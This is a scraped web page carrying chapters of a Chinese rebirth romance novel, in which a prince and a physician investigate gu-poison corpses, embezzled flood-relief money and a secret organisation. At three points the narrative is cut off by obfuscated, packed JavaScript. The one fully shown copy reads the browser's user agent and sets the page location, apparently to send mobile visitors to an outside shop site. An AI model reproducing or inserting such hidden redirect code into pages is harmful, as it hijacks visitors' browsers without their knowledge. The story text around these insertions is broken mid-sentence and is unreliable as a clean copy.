烟花的光影映在两人脸上,宓安侧头看向景煦,一瞬间恍如隔世。前世他们也曾这样一起逛过灯会,那时烟火盛放,掩盖了少年人的心跳声。 从前他总担心景煦为了他做出格的事,担心景煦没有子嗣,可这一刻,宓安突然想开了。既然景煦都不担心,他为何要跟这些事过不去。扪心自问,景煦敢为了他冒天下之大不韪,他敢不敢迎着天下人的眼光,与景煦并肩? 宓安看着身边正想让摊主再放几桶烟花的人,笑了起来。 他敢。 4. 蛊毒 虽说客栈尸体一事景煦不打算让宓安费心,可一大早暗卫就来报,说村口王二也死在了家中,且当地府衙的仵作看不出死因,只好来回禀景煦。 宓安趴在床上,闻言叹了一口气,佯装苦恼道:“唉……昨天才说不必劳烦我,殿下这次出门可还带了太医?” 身边有一个医毒双绝的宓安,哪还用得着太医院那些老骨头,景煦坐在床边,轻轻给宓安揉着腰,心疼道:“累不累?” “累死了。”宓安闭着眼睛同他说话,“我看你才是小孩子,一个灯市都能玩到丑时末。” 景煦坐在床边不敢说话,他已经许多年没和宓安一起逛过夜市了,难得逛一次实在是玩不够,只好小心翼翼问道:“那我让暗卫找个太医来?快马加鞭三日就能到。” “嗯?”宓安睁开一只眼睛看他,“找太医做什么?” “阿宓不是累了吗,找太医给你开个补气的方子,顺便看看尸体。” 宓安觉得好笑,明明他自己就是大夫,景煦却总想让太医给他开方子。 宓安坐起身,披了件外衣:“为何你总想让太医给我看病?是信不过我的医术?” 景煦立刻否认:“怎么会,阿宓的医术天下第一。只是阿宓累到我会心疼。” 宓安把他推远,皱眉道:“昨晚太累了没力气骂你,今晚你去和暗卫睡。” 景煦坚定地摇摇头:“即便我现在答应了,晚上还是会来爬你的床,你到时候还是会打我。不如我现在就不答应,你提前打了。” 他实在是太理直气壮,宓安听的目瞪口呆。 “砰!” 楼下的暗卫只听见一声巨响,抬头一看,他们平时心狠手辣的主子好像是被扔出了卧房,正一手撑住楼梯扶手,借力落到了楼下。 那个柔柔弱弱的美人少师冷着脸抽出腰间的软剑,飞身下楼,剑指景煦面门,后者侧身躲过,借力闪避到宓安身后,顺手拔出一个暗卫的佩剑。 一众暗卫不知所措,不知道该不该帮忙,又不知道该帮哪个,景煦却一挥手:“都散开。” 暗卫闻声而动,与二人拉开了距离。 宓安冷哼一声,手腕一动,软剑闪着寒芒刺向景煦,竟逼得他后退一步。 两人的剑一软一硬,碰撞之下火花四溅,景煦挽了个剑花,卷起宓安的软剑,笑道:“阿宓好凶,我知错了。” 宓安却不理会,软剑抖开继续朝景煦攻去,二人招式你来我往眼花缭乱,一时竟不分高下。 周围观战的暗卫惊掉了下巴。 他不是自小体弱多病吗?他不是一直身体不太好吗?他不是身娇体弱弱柳扶风吗?他他他他不是…… “阿宓!”景煦拉开距离,长剑挡在身前,“真的知错了。” 宓安白了他一眼,将软剑收回腰间,慢慢走楼梯回了房间。 “让人给我烧热水。” “知道了!” 景煦把剑还给暗卫:“掌柜的和店小二都没在,你们几个去后院看看怎么烧水,送楼上。” 暗卫领命,去烧水之前,终于有一个忍不住问道:“主子,宓公子的身手……与您不相上下?” 景煦一挑眉,好笑道:“怎么,你们真当他体弱?用上全力认真交手我还不一定打的过他。” 暗卫们倒吸一口凉气。 但这炫耀的语气是什么意思,挨打的明明是你。 宓安沐浴之后有了心情去看昨晚的尸体,被景煦带着慢悠悠溜达到当地衙门,两具尸体都被平放在地上,仵作已经验过尸,尸体开膛破肚散发着恶臭,有几个捕快忍不住干呕起来。 宓安离着老远皱起眉,拿了几根银针出来:“你去刺他的眉心。” 景煦接过银针,深吸一口气,走近尸体刺了进去。 “针变蓝了。”景煦拿着银针看向宓安,才发现他已经跑出去更远,正冲这边招手。 “你就在那里说。” 景煦哭笑不得,晃了晃手里的针:“变成蓝色了。” “那就是蛊毒。”宓安提高声音,“你将尸体的喉咙割开,看看有没有蛊虫。” 景煦看着眼前的尸体,闭了闭眼,下定决心似的,向暗卫要了一把匕首。 暗卫见景煦一副视死如归的样子,忍不住道:“殿下,属下来吧。” “不用。”景煦撸起袖子,手起刀落,果然从尸体的喉咙里挑出一只血红的虫子。 宓安跑的更远了。 “去客栈再要一间房吧,我不想和你睡了。”宓安也不管景煦听不听得见,自顾自地说道,“太难闻了。” 景煦当然能听见他说什么,闻言看过去,白衣飘飘的人站得老远,正满脸嫌弃地看着他。 “阿宓,虫子扔哪里?” “找个罐子装起来,我带回客栈看看。”宓安又后退一步,“你先装着,我回去沐浴。” 宓安转身就跑,这地方的味道他一刻也忍不了了。景煦也皱着眉,让暗卫把另一具尸体里的蛊虫也挑出来,装好后送去客栈。 “殿下,宓公子又在沐浴。”一直跟着宓安的暗卫小声禀报,眨眼又消失在树荫中。 “阿宓。”景煦敲敲门,笑道,“我可以进去吗?” 宓安正泡在浴桶里:“不许进来。” 景煦却直接推开门,缓步走到了屏风后。 宓安抓起搭在浴桶边的布巾丢他:“出去。” 景煦怕把人惹毛了,只好坐在屏风后面口头调戏:“成了亲迟早是要看的。” 宓安皱眉道:“你刚才离尸体那么近,别靠近我。” “还不是阿宓让我去的。”景煦委屈道,“怕是要恶心得我吃不下晚饭了。” 宓安早就习惯了他在自己面前装样子,况且自己还在装没有重生,也不好提他前世在位时将人五马分尸的事,只是懒懒地趴在浴桶边上,道:“再不去沐浴,马车也别上了。” 门外暗卫拿着装蛊虫的盒子,犹豫着不敢敲门,一时进退两难。 景煦正巧推门出来,见状接过盒子示意他退下,转身把盒子放在桌上,喊了宓安一声:“阿宓,蛊虫放在桌上了,你等我回来再看。” “知道了。” 嘴上这么应着,听到关门声宓安便起身出了浴桶,披了外衣坐在桌前,小心打开了盒子。 两只血红的蛊虫趴在盒子中一动不动,似乎是吃饱了,正在养神。 宓安向店小二要了筷子,夹起一只凑近看了看,总觉得这虫子有些眼熟。 他皱着眉盯了好一会儿,突然想起了什么,盖上盒子向外走去,正撞上沐浴回来的景煦。 “阿宓?”景煦扶住他,问道,“怎么了?” “我去看看尸体。”宓安顾不得跟他解释,边下楼边系好腰带,疾步向村口走去。 景煦连忙跟上,他从未见过宓安这副样子,衣裳都没穿好就出门,着实不是宓安会做的事。 “阿宓,别急,出什么事了?” 宓安脸色很不好,也不回景煦的话,只闷头往前走。还没到村口,就已经能闻到尸体的臭味,宓安也不顾满地血污,走过去蹲下身,伸手撑开了尸体的眼睛。 两具尸体的眼睛都已经看不出眼白,红色的血块像蛊虫一般,密密麻麻地铺在眼中。 宓安忽然头晕目眩,踉跄了一下,景煦赶忙扶住他。 “阿宓?”他这副样子太不正常,景煦把人抱在怀里,轻轻抚摸他的后背,声音也沉下来。 宓安摇摇头,忍着恶臭重新走近,捏了捏尸体的手臂。 良久,宓安撑着景煦的手站起身,哑声道:“回去吧。” 一路无言,宓安今天第三次泡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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景煦摇摇头:“说不出,总觉得气血翻涌,尤其是和你在一起的时候。” 宓安脸色变了又变,难以置信地看向他:“不是因为你精虫上脑?” 景煦笑了出来:“自然不是!” 宓安怀疑地看着他,还是拉过他的手好好搭了搭脉,语气带着关心:“不舒服还跟我出来。” “我离不开你嘛。” 宓安不理他,好一会儿才说道:“看不出异常。” 景煦摸着下巴,道:“姑师就在南疆,我还以为他们和蛊师部落有勾结呢。” “什么?”宓安猛地站起来,“姑师在南疆?” “是啊。”景煦被他吓了一跳,连忙拉住他,“怎么反应这么大?” 宓安推门就往外走:“现在就去查清尸体来历,然后快马加鞭解决赈灾银子,回宫找个懂蛊的术师给你看看身体,你能找到吗?那个不知是死是活的国师还活着吗?” 宓安这下真的慌了,那两具尸体和上辈子景煦的死状一模一样,但他从来不记得景煦去过南疆……原来姑师就在南疆。 那景煦很有可能这个时候就已经被下了蛊,只是不知道对方用了什么手段,竟然让蛊虫蛰伏了十年之久。 不对…… 宓安脚步顿住,这么高明的手段,连景煦都没防住,何必用来杀两个手无缚鸡之力的普通人。 宓安第一次产生后悔这种情绪,虽说前世景煦一早留了密旨,既保他荣华富贵又保证朝中无人找他麻烦,但……景煦一死,他实在是觉得人生没意思,就干脆和他一起去了。 早知道会回来,当时就查清景煦的死因再自尽了…… 景煦紧跟着出来,问道:“你刚刚验尸的银针不能验验我吗?” 宓安平复了一下心情,瞥了他一眼,说道:“那两具尸体蛊毒已经遍布全身,银针才能试出,如果蛊虫只是在你体内蛰伏,只能用蛊师特有的方法。” 景煦拍拍宓安的肩膀,宽慰道:“没事的,阿宓别怕,说不定我只是精虫上脑而已。” 宓安:“……” 好想抽他。 5. 赈灾 翌日一早,宓安天还没亮就出了门,翻墙进了府衙。 他记得前世景煦刚死尸体就已经开始腐烂,应该是蛊虫正在蚕食养分,不过半柱香的时辰,蛊虫就几乎要破膛而出,为防蛊虫毁坏尸体,也是怕没了宿体蛊虫会肆无忌惮,宓安干脆放了一把火。 寝殿、景煦的尸体、宓安,付之一炬。 此时眼前的尸体如宓安所料,果然已经出现了腐烂的迹象,就在他犹豫要不要把这里烧了的时候,尸体突然睁开了眼睛。 宓安心里猛地一跳,屏息凝神,不敢动作。 半晌,见那尸体只是睁着眼睛,没有其他反应,宓安才松了一口气。 怎么回事?宓安很清楚前世景煦并没有出现这种情况。 静了静神,宓安轻轻搭上了尸体的脉。 果然…… 在尸体脉搏的位置,还有一只很小的蛊虫,正在一跳一跳地模仿脉搏跳动。那只大蛊虫只是为了掩人耳目,这只小的才是罪魁祸首。 宓安突然觉得好笑,到底是脉搏跳动还是皮下其他东西跳动,别说是他了,街上随便找个赤脚大夫都能看得出来。 南疆自大,信仰巫医,向来瞧不起中原医术,才想出了这么愚蠢的法子,想要控制景煦的尸体,为南疆谋取好处。 但谁都没想到,宓安竟然会一把大火烧的什么都不剩,包括他自己。 宓安一时身心俱疲,蹲在了地上。 诡计虽然愚蠢,但蛊虫确实刁钻,前世景煦和他竟然都没有防住。 客栈里,趁天没亮大家睡得熟来爬宓安床的景煦正黑着脸问暗卫为什么一问三不知。 暗卫单膝跪地,自责道:“主子,兄弟们都没看到宓公子出门。” 景煦也知道,宓安要是想悄无声息地离开,连他都不一定能察觉。 “今天起这么早?”宓安回来见一群人都在一楼,又看了一眼空空如也的桌子,奇怪道,“饭呢?” 暗卫本能地回道:“还、还没做。” 宓安更奇怪了:“饭没好你们都聚在这干什么?喝西北风?” 景煦看到宓安就愣住了。平日里宓安最喜欢穿一身白,飘逸得像仙人下凡一般,步步生莲。偶尔杀人的时候血溅在他身上,仿佛红梅映雪,煞是好看。外出时为了方便,宓安便换了和景煦一样的圆领箭袖,但还是特地让人做了白色提花的。 景煦早就习惯了宓安清清雅雅、干干净净的,而今天,宓安竟穿了一身玄色。本就纤瘦的人被衬得不盈一握,本就白皙的皮肤仿佛又白了两分,像在发光。 景煦猛地转过身,捂住了脸。 宓安:“?” 前世他和宓安第一次……那天宓安穿的好像就是玄色的丞相官服,虽然那时他是带着目的骗宓安上床的…… 那次宓安反抗了吗?拒绝了吗?景煦努力回忆细节,但当时他的注意力不在宓安脸上,全在另一处,记忆实在模糊,竟完全想不起当日宓安是何表情了。 “他在干什么?”宓安就近拉住一个暗卫,“你们为什么都聚在这?” “回公子,主子发现您不见了,喊我们出来问您的去向。” 宓安问道:“天还没亮,你怎么发现我不在的?你又来我屋里干什么?” 景煦背对着他,闷声道:“我……我来叫你吃饭。” “饭呢?” “还没做……” 宓安深深地呼了口气:“滚。” 景煦麻利地滚了。 早膳时,景煦小心翼翼地偷瞄宓安,后者一直在专心吃饭,见他偷看,放下碗筷问道:“你有事?” 景煦扒着碗里的饭,小心问道:“阿宓去哪里了?” “府衙。”宓安又换回了白衣,早上验尸时穿的那身是从景煦屋里拿的,从府衙回来就被他团成一团丢掉了。 “那身衣裳我扔了。”宓安说道,“你早上在做什么春梦?我去拿了衣裳你没察觉?” 景煦讪讪:“阿宓怎么知道我在做春梦?” 宓安:“……” 他就不该问,这个精虫上脑的男人。 景煦尴尬地干咳一声,小声道:“其实察觉了,但发现是你我就没设防,还以为阿宓是来爬我的床的,我等了好久。” 宓安生硬地转开话头,把今早验尸的发现讲了一下,景煦听后若有所思,问道:“阿宓先前说见过类似的尸体,那具尸体阿宓也把过脉吗?” 宓安摇摇头:“已经死透了,还把什么脉。” “如果是一样的蛊虫,为什么阿宓见过的那具尸体没有睁眼呢……” 听他对自己的尸体一口一个“那具尸体”,宓安浑身发毛,打断道:“许是那个人内力深厚,对蛊虫有所克制。” 景煦点点头:“有道理,我的内力至阳,寻常蛊虫就奈何不了我。” 宓安心道,原来是这样。至阳的内力抑制了蛊虫的控制,但挡不住蛊毒的侵蚀,所以其实即便景煦身死,他的尸体对南疆蛊师来说也毫无价值。 只是不知道那小蛊虫是不是和大蛊虫一样,挑出来杀死就行。他承认他前世放火多少有点生景煦气的意思……还是不要让他知道了。 “对了阿宓,从尸体里取出来的那两只蛊虫死了。”景煦见宓安已经不动筷子了,才开口说道。 宓安点点头:“看来只是普通蛊虫,没有养分就活不了了。” “两只小蛊虫我也取出来了,回来的时候给一个暗卫了。”宓安看向吃饭的暗卫们,“你一会儿去问问我给谁了,我看他们都长得一样。” 说完又嫌弃道:“太臭了。” 景煦笑道:“给十一了。” “你怎么知道?” 景煦指了指十一:“他没吃下饭。” 宓安:“……” 真是不好意思。 “不过阿宓,你方才说小蛊虫才是蚕食和控制尸体的罪魁祸首。它这么危险你怎么能自己动手取出来?”景煦皱着眉头,“下次让我去。” 宓安无奈道:“我心里有数。” 景煦不听:“总之你不许碰危险的东西。” 宓安向来懒得和他争辩,总归谁也说服不了谁,最后的结果无非就是他继续做危险的事,景煦继续说他罢了。 蛊虫的事宓安也只知皮毛,索性还是带回去找那不知是死是活的国师看看。 说起国师,前世景煦病重的时候他好像出现过,对宓安说了句什么,但宓安当时悲痛欲绝精神恍惚,一个字也没听进去,后来他就再也没见过国师了。 宓安靠着墙,有一下没一下地薅着树叶,静静地出神。 那天国师到底说了什么,他一个字都想不起来了,真的是因为他太过悲痛,还是因为国师做了什么? “阿宓?”景煦叫了一声,唤回了宓安的思绪。 “嗯?” “今日去见当地官员,解决了赈灾银咱们就回去。”景煦见宓安心不在焉,心疼道,“这种脏东西交给国师,你别操心了。” 宓安敷衍地点头,继续出神想蛊虫的事。 景煦知道说他也没用,干脆拉着人上了马车,不管不顾地往宓安腿上一躺,闭着眼道:“还有三十里才到灾区,阿宓也睡会儿。” 宓安极为熟练地给了他一巴掌,也闭目养神了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648310|156564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 黄河水患困扰了历朝历代的帝王,天不佑百姓,做皇帝的也只能做些亡羊补牢的事。赈灾银子杯水车薪是常有的,只是这次拨了整整五十万两,灾民竟还是居无定所,实在蹊跷。 听闻景煦与宓安已经进城,当地知县张德清提着裤子拎着腰带匆匆赶来迎接,见着两人像见到故去多年的亲爹一般,跪地哭道:“下官参见殿下!” 宓安被吓了一跳,景煦哭笑不得,道:“张大人请起,何必如此着急,好歹将衣裳穿好。” 张德清爬起来,手忙脚乱地系好腰带,擦了擦眼泪,道:“殿下来了,百姓就有救了。下官无能……” 张德清环顾被大水冲垮的房屋,不禁悲从中来,哽咽道:“下官无能啊!” 宓安见他如此,心里也不是滋味,如此看来,赈灾钱款定是已经被吃的所剩无几。 一行人到了县衙,张德清带着师爷跪在景煦面前,道:“殿下,请殿下为荣城百姓做主啊!” “张大人快起来,坐下慢慢说。”宓安伸手扶起张德清,“殿下既然来了,您放宽心吧。” “多谢少师。”张德清坐在下位,接过师爷手里的账本递给景煦,“殿下请看,上月朝廷拨款五十万两用于荣城赈灾,可真到下官手里的,却不足五万两。” “四万七千两,算上城中富商的善款,也不过六万两出头。”景煦看着账册,想起前世处决贪官后抄家的时候,当时仅一人家里,便搜出百万两现银。 那些银子,就是这无数百姓的命。 “殿下,上头知府送来四万两现银,却让下官在账册上记录五十万两。各城各县的过路费,通关费,劳务费,还有这听都没听过的费用,全从这五十万两里出。从京城到荣城,五十万两,就只剩这些了。”张德清实在坐不住,站起来道,“账册看似合理,款项总数也是五十万两没错,但、但不是这样的啊!” 张德清拿过账册,翻了又翻:“半年前朝廷拨过十万两,到下官手里,只剩下三千两!” “殿下,三千两!”张德清红着眼,“三千两,连百姓的吃食都供不起!” 宓安看着张德清的裤腿,两三块补丁异常显眼。因为出门匆忙,这位知县的衣裳一直没有穿好,腰带也是刚刚边走边系的,现在已经松松垮垮了。 “查账的人呢?私设支出名目,为何不上报?”景煦问道。 “殿下有所不知,查账的也是上级知府的人,他们一丘之貉、沆瀣一气,根本不会细看账目!”张德清紧紧握着账本,“下官无能,每每差人进京,那老……那位大人都会把人拦下,甚至用下官家中老母威胁……” 张德清又跪了下来:“求殿下救救荣城的百姓吧!” “张大人别急,赈灾银已经在路上了,这次由暗卫亲自押送,约莫明日能到。”宓安扶起张德清,“您先去安抚百姓,殿下与我明日便去会会那一手遮天的知府。” “多谢殿下,多谢少师。”张德清深深作揖,立刻带着师爷往灾区去,嘴里不住念叨着“有救了,有救了。” “这位知县倒真是两袖清风。”景煦把手里的茶杯给宓安看,“青瓷茶杯,还破了好几个口。” 宓安笑道:“茶也不是什么好茶,赈灾银不到,想必他是自己填这个空了。” 景煦翻着账本,说道:“来之前还想着能不能先从当地富商手里抠点儿银子,没想到张德清已经问他们借了。” 他把账本递给宓安,一时有些感慨:“富商们慷慨解囊,张德清一笔一笔记下,这是打算灾情过后还钱呢。” 宓安看着账本,思绪飘回了前世景煦登基后,也是这样一次天灾。 6. 暗卫 新帝登基,典礼向来大操大办,户部礼部往往会趁机捞不少银子。景煦登基那年蜀中大雨,山体滑坡掩埋了数十个村落,赈灾的银子一批一批拨下去,却总等不来百姓平安的消息。 彼时景煦坐在高位,看着刑部尚书,以一种平静到有些诡异的语气问道:“赵尚书,朕让刑部派人押送赈灾银,平息灾乱,为何灾民至今仍未安置妥当。” 赵盼山拱手道:“回陛下,蜀中大雨连日不停,旧灾未平又添新患,且蜀地地势低洼,极易储水,纵使朝廷拨再多银子,也左右不了这天灾啊!” 景煦又问:“据朕所知,自前朝水患后,过于低洼之地便不再有人居住。前朝官员修建的堤坝也足以调节河道水位。此次受灾的不过几个村落,不到百人。朕命当地官员带领百姓暂离灾地,到西部平原地区避难,日夜兼程三日而已。为何至今仍有百姓流离失所?” 赵盼山没想到天高皇帝远的,景煦竟然对灾地情况如此熟悉,正想再辩,却被景煦打断。 少年天子的声音透着一股寒凉,炎炎夏日竟然让他打了个冷颤。 “赵大人,贪污来的银子,比俸禄花着爽快,是吗。” “百姓的命哪有赵大人的富贵重要。”景煦的手指一下一下轻轻点在桌上,像敲在赵盼山死穴上一般,惊得他冷汗频频。 此时殿外走来一女子,正是赵盼山夫人的贴身丫鬟。她将一封书信呈上,跪下道:“陛下过目。” 景煦道了声辛苦,便让她下去休息了,自己打开书信,笑道:“原来这么早就开始贪了,朕才登基多久啊,赵大人这银子捞的比国库赚的还多。不过,想来赵大人也不敢一个人吃下三十万两,让朕猜猜,剩下的,是不是全孝敬给孔玉宣了?” 赵盼山听的两腿发软,先皇在时他们就常用这招中饱私囊,但天高皇帝远,加上有老丞相孔玉宣支持,只要按下有关灾民的折子就可以遮天蔽日。 但景煦的暗卫体系庞大到无法想象,赵盼山这才意识到,原来那些人不只是帝王的护卫,也不只徒有武功,他们会以任何身份出现在任何地方,甚至是官员家中,他们的眼皮底下。 景煦刚刚登基,就以雷霆之势料理了一人之下的孔玉宣,将宓安推上了相位,他们这些老丞相麾下的人,也要一个一个跟着遭殃了。 “臣知错!求陛下开恩!”赵盼山颤抖着跪下,此时此刻也不敢再蒙蔽景煦。 景煦合上折子,道:“宓相,你的意思呢?” 宓安回忆了一下他当时是怎么回景煦的。 他似乎是说:“所有贪墨官员及其心腹一并处死,在任职当地斩首示众,让百姓见证。没收全部家产,遣散奴仆,府中家眷每人每月至当地府衙领一两银子以作日常开销。” 景煦抬了抬下巴,吩咐大理寺卿:“去办。” 作乱官员由上到下全部查处,灾民问题迎刃而解,只是朝堂内部元气大伤,许多官员变得事事过于小心,不敢上奏,不敢谏言。 不过景煦本来就没指望这群三朝老臣还能初心不改一心为民,于是来年春闱前,景煦出宫逛了几个月,亲自招揽提拔了许多年轻学子与官员,没过几年整个朝堂便焕然一新。 宓安想起那些年景煦夜以继日殚精竭虑,突然有些心疼他,就像奋笔疾书好不容易完成先生课业的学子,某天突然弄丢了所有书卷,只能重新来过了。 而此时正在翻账本的景煦也有点心疼自己。 前世他又是亲自走访又是安排暗卫,费了好大功夫拿到赵盼山徇私枉法贪墨敛财的证据,中途才发现原来大多竟是丞相手笔,又费了更大的力才将位高权重的孔玉宣处置了,现在竟然又要重新来一次。 “唉……” 景煦没忍住叹了口气,宓安笑了一下,问道:“叹什么气?” 景煦也不管宓安听不听得懂,随口抱怨道:“他若是突然被马车撞死就好了,省得我费工夫。” 宓安翻过一页账本:“明日找人偷偷把他杀了。” 景煦摇摇头:“赵盼山雇了‘朝青’的人贴身保护,难杀得很。朝青要价高,看来他老早就开始贪污受贿了。” 宓安翻账本的手一顿,道:“你去朝青问问,多出点钱买他的命不就好了。” “我哪有钱。”景煦把账本扔到一边,伸了个懒腰,“况且朝青做事太过严密,派暗卫去是不行的,我亲自去岂不是暴露身份。万一来日传出去又要落人口舌。还是等证据确凿再要他的命稳妥些。” 宓安忍不住道:“既然做事严密,应该不会把你的身份传出去的。” 景煦看向他,疑惑道:“阿宓是困了吗?既然我多出钱就能让朝青违背先前与赵盼山的契约,那日后有别人多出钱他们肯定也会出卖我啊。” 宓安瞥他一眼:“我没困迷糊。朝青的主人是我的挚交好友,你让小五去就是了。” 景煦一下子来了精神,起身坐到了宓安身边,一字一顿重复道:“挚、交、好、友?” 宓安低头翻账本,“嗯”了一声:“你这是什么语气?” “你有什么好友是我不知道的?还挚交好友,你的挚友不是只有我吗?”景煦突然想到了什么,皱眉问道,“是不是萧起?” 还没等宓安疑惑萧起是谁,景煦已经喋喋不休地骂上了:“他对你是不是有非分之想?起的什么破名字这是?‘朝青’是什么意思?为什么用你的字?一个江湖组织这么嚣张,改天我就带人剿了他们。” “我现在就去。”景煦越想越气,站起身就往外走,宓安赶紧拉住他,莫名其妙道:“这是在发什么脾气?萧起是谁?” 听到他这么问,景煦更气了:“别以为我不知道!” 宓安更疑惑了:“知道什么?” “你在江南的旧情人。”景煦阴阳怪气,“不叫萧起?那叫萧戚?修起?” “?” 宓安半天没回过神,片刻,伸手搭了搭景煦的脉。 “没生病呀,怎么说起胡话了。”宓安又摸了摸他的额头,也是正常温度,“什么旧情人,我五岁就随父亲来京城了,而且你说的这几个都是男人的名字吧?” “就是男人才可疑。”景煦还在生气,“为了你一路追到京城,还建立了这个江湖组织,是不是就等着你去当压寨夫人了?” “什么压寨夫人,人家朝青是正经生意,又不是土匪窝。” “你怎么还替他说话!” 宓安既疑惑又好笑,问道:“替谁说话?我根本不认识什么萧起,你别无理取闹。” “那你说,朝青的主人是谁?”景煦一副只要他说就立刻杀过去的架势,宓安故意逗他:“不是说了吗,我的挚交好友,既是挚友,怎能随意向他人透露秘密?” 景煦一向很会抓重点:“他人?我是‘他人’?” “?” “账本你自己看吧。”景煦说着就往外走,走了一半又折返回来摸走了宓安袖子里的瓶瓶罐罐,“我今晚不回来了!” 宓安也不拦他,随口嘱咐道:“红瓶子里的没有解药,其他的都不致命,小心着用。” 景煦更生气了。 眼见景煦消失在视线中,宓安轻声道:“跟着你家殿下,别让他胡闹。” “是。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“他是什么时候开始培养你们的?”宓安好奇道,“他今年不过二十二岁,如此周密严谨,难不成你们十几岁就认识了?” 影七道:“属下是七岁时被殿下纳入麾下的。” 宓安听了,沉默良久。 他与景煦初识时也是七岁。当时景煦九岁,宓安只觉得这小皇子很惹人讨厌。平时总是一副阳光开朗的样子,对谁都笑呵呵的,很会讨长辈喜欢。但相处久了就会发现,这人其实对所有人都十分疏离,时时防备。 先皇后是在景煦五岁时去世的,没有母亲的皇子在吃人的皇宫是如何生存下来的呢。 七岁的宓安只是一个不谙世事的孩童,他只记得当时景煦总是顶着一张笑脸婉拒他的所有示好,久而久之他便也不愿意同景煦亲近了。 那时景煦身上总是有伤,问起来他也只说习武之人难免磕碰。原来那个时候,小小的他就已经开始组建自己的势力了。 自幼丧母,父亲又是这样的身份,景煦怕是从来没体会过家人给的温情。成年之后又要在亲兄弟的攻击陷害下争夺权力,千难万险登上九五之尊的位子,心上人又想要离开他。 作为皇帝,景煦从来没强迫过宓安什么,虽然嘴上总说不许他离开皇宫,但其实宓安想走也不会有人拦着。 哪怕身死,景煦也安排好了宓安后半生的一切。 “啪。” “公子?” 宓安看了眼被他捏碎的茶杯,道:“无事,我没受伤,不用事事都告诉你家殿下。” 影七没有回答,宓安知道,他肯定会事无巨细回禀景煦,不过他也懒得计较,挥手让影七退下了。 谨慎如景煦,怎么会中了蛊呢。 宓安想事情时总想抓点什么东西,从前喜欢抓景煦腰间的玉佩,现在景煦不在,茶杯又碎了,一时竟然觉得手里空空,好不自在。 半晌,宓安无奈道:“你们谁去把景煦叫回来?” 7. 朝青 景煦回来时眼睛朝天,手里还拎了两条鱼。 宓安学着他的语气阴阳怪气道:“昭王殿下不是去剿灭朝青了吗,怎么,朝青总部在河里呢?” “看在你跟我道歉的份上,我就不计较了。你以后不许再找萧起。”景煦自说自话,把鱼交给影十七,让他趁新鲜烧出来。 宓安真是莫名其妙:“萧起到底是谁啊?” “谁跟你道歉了?” 景煦犹犹豫豫,直接忽略后面一句,说道:“你以前说梦话一直叫萧起,还说不认识。” 宓安道:“我从来不说梦话。况且就算我说梦话,你怎么听到的?” 景煦避重就轻:“你在江南时没有青梅竹马吗?” 宓安真想抽他一顿:“我不是说了,我五岁就和父亲来京城了,有哪门子青梅竹马。” 要说“青梅竹马”,其实他和景煦才是。 “那朝青的主人是谁?” 绕来绕去又绕回了这个,宓安头疼地靠在榻上,心想早知道就不提这茬了。 片刻,宓安抬手扔出一块令牌,景煦接住,问道:“这是什么?” “朝青主人的令牌。”宓安道,“这样的令牌天下只有两块,你拿着它随便找一家朝青名下的铺子,掌柜会给你安排好的。” 说起朝青,其实是宓安一手创立的。那时他正年少,正是骄傲轻狂的时候,又不知何处莫名传出他体弱多病不堪大用的传言,于是年轻气盛的宓安便赌气偏要做点什么证明自己。 朝青的势力比之景煦的暗卫毫无不及,除了杀人的买卖,还有遍布大渊的商铺。大到酒楼钱庄,小到打铁卖菜,各行各业都有他们的身影。 本来想着朝青成熟后可以成为景煦登基的助力,可谁知这人就算孤身一人也能杀出一条血路,根本不需要他。 景煦登基后,内外整顿,第一个拿朝青开刀。宓安命朝青各自沉寂,各大商铺也关门歇业,只是那时宓安与景煦日渐生疏,没同他提过此事。 现在想来,宓安都觉得自己幼稚,当时做了两块令牌,就想等朝青名扬天下之时把其中一块随手丢给景煦,云淡风轻地来一句“送你”。可景煦并不需要他,他便也不愿多说。前世种种,真是万般磋磨,万般遗憾。 景煦看着手里的令牌,这令牌晶莹剔透,触手温热,微微泛着些桂花色,镂空雕刻了十分繁杂的花纹,正中间是一个“青”字。说是令牌,其实更像一块精致的玉佩挂饰 景煦轻轻抚摸令牌,一眼就认出了宓安的字,而这花纹,他似乎也在宓安的桌案上见过。 “怎么不告诉我呢……”景煦轻声问道,声音颤抖,带着一些不知名的愧疚。 宓安道:“你又没问。” 前世他命暗卫围剿朝青时就察觉到了,对方十分熟悉暗卫的招式,明明可以一战,却一直在刻意避让,实在奇怪。而那次围剿之后,势力庞大的朝青虽然并未折损,后来却默默隐匿沉寂下来。 景煦那时还以为他们在韬光养晦,但许多年过去,朝青就像人间蒸发了一样,再也没有出现过。 朝青之名,天下皆知,如此势力必定是多年来苦心经营、耗尽心力,却甘愿前功尽弃,一声不响地默默消失,原来竟是因为…… 难怪前世他总隐约觉得有人暗中相助,难怪他想找的东西总是一帆风顺,难怪那时宓安总是深夜偷偷出宫,难怪影十三被朝青所救对方却只是劫走了银子…… 难怪前世他说要动朝青,本就不愿意搭理他的宓安看起来更烦他了! 景煦心口被什么东西堵住了,他明知朝青或许并非敌人,却还是认为对方实力强大,若不能为他所用,必定会成隐患。 “对不起。”景煦喃喃道,声音微不可查,好像透过晶莹的令牌,向前世的宓安传去歉意。 “前世的宓安”此时正躺在榻上,心安理得地接受道歉,且并不打算告诉景煦,后来朝青名下的商铺钱庄只是换了个名字而已。情报生意虽然不做了,但钱还是要赚的。 “为什么有两块?”低沉不到一刻钟的景煦又抓到了奇怪的重点,“朝青的主人除了你还有谁?你那个‘挚友’?” 景煦的脑子里开始飞速回忆他们身边所有名字里有“朝”字的人,一时醋意横生。但活了两辈子,景煦都不记得有这么个人,一时又涌上一股被宓安当外人的委屈。 虽然认识了两辈子,也算是“老夫老妻”了,但宓安还是难以启齿这个名字的来历。 